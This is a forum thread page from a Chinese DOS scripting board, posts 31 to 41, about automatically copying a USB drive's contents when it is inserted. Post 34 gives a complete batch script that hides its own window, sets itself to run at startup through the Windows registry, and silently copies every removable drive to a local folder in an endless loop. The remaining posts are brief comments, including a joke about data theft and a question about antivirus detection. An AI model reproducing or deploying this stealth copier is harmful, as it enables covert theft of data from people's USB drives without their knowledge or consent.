China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-07-02 17:57
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » How to judge that a USB flash drive has been inserted and automatically copy all the contents View 15,632 Replies 40
Floor 31 Posted 2007-07-10 20:54 ·  中国 广西 南宁 电信
初级用户
Credits 106
Posts 2
Joined 2005-04-01 00:00
21-year member
UID 37715
Gender Male
Status Offline
Dizzy,,,, can't see clearly.... I'll sleep first... I'll check again when I wake up.
Floor 32 Posted 2007-08-02 10:08 ·  中国 北京 海淀区 联通
新手上路
Credits 6
Posts 4
Joined 2007-08-02 09:34
18-year member
UID 94485
Gender Male
Status Offline
Floor 33 Posted 2007-11-02 20:43 ·  中国 上海 教育网
新手上路
Credits 1
Posts 1
Joined 2007-11-02 20:23
18-year member
UID 101528
Gender Female
Status Offline
Can this function really be realized?
Floor 34 Posted 2007-11-04 23:00 ·  中国 福建 龙岩 电信
新手上路
Credits 10
Posts 5
Joined 2007-09-09 18:42
18-year member
UID 96958
Gender Male
Status Offline
@echo off
if "%1" == "h" goto :go
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:go
reg add hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Run /v run /t REG_SZ /d %0 /f
:loop
for /f "skip=1" %%i in ('wmic LOGICALDISK where "drivetype=2" get name') do (
if not "%%i"=="" xcopy %%i\* c:\a /e/h/r/y/c
)
ping 127.1>nul
goto :loop
Floor 35 Posted 2008-03-28 18:17 ·  中国 内蒙古 包头 电信
初级用户
Credits 30
Posts 14
Joined 2008-03-28 17:06
18-year member
UID 114273
Gender Male
Status Offline
Downloaded, going back to study it
Floor 36 Posted 2008-04-11 23:01 ·  中国 广西 北海 电信
新手上路
Credits 18
Posts 11
Joined 2008-04-09 22:59
18-year member
UID 115423
Gender Male
Status Offline
According to my results of using XCOPY the other day
If you use xcopy d:\*.* c:\copy, it seems that it will only copy files but not folders
If you use xcopy d:\ c:\copy, it will copy all files including files and folders
The paths here are just examples
I don't know if my results are correct
If it's wrong, please let me know
Floor 37 Posted 2008-05-12 23:43 ·  中国 福建 泉州 电信
初级用户
★★
Credits 148
Posts 69
Joined 2006-11-23 23:04
19-year member
UID 71504
Gender Male
Status Offline
Go back, need to put the USB drive away well. Otherwise, one day the data will be stolen by LZ without even knowing it...
Floor 38 Posted 2008-09-27 14:28 ·  中国 江西 南昌 电信
中级用户
★★
Credits 206
Posts 100
Joined 2007-07-09 20:51
18-year member
UID 93566
Gender Male
Status Offline
Continuously detecting very temporary memory
Floor 39 Posted 2008-09-28 03:59 ·  中国 四川 成都 电信
初级用户
★★
Credits 145
Posts 95
Joined 2008-04-12 16:29
18-year member
UID 115703
Gender Male
Status Offline
Who let the bat and vbs be together?
Floor 40 Posted 2008-11-03 01:28 ·  中国 福建 厦门 电信
新手上路
Credits 0
Posts 2
Joined 2008-11-02 21:00
17-year member
UID 129808
Gender Male
Status Offline
I don't know how it works after use. Who will come out and say? Will the antivirus software report it?
Floor 41 Posted 2008-11-03 01:32 ·  美国 惠普HP
版主
★★★★★
Credits 9,023
Posts 5,017
Joined 2007-05-31 19:39
19-year member
UID 89899
Gender Male
Status Offline
Why not test it yourself?
Forum Jump: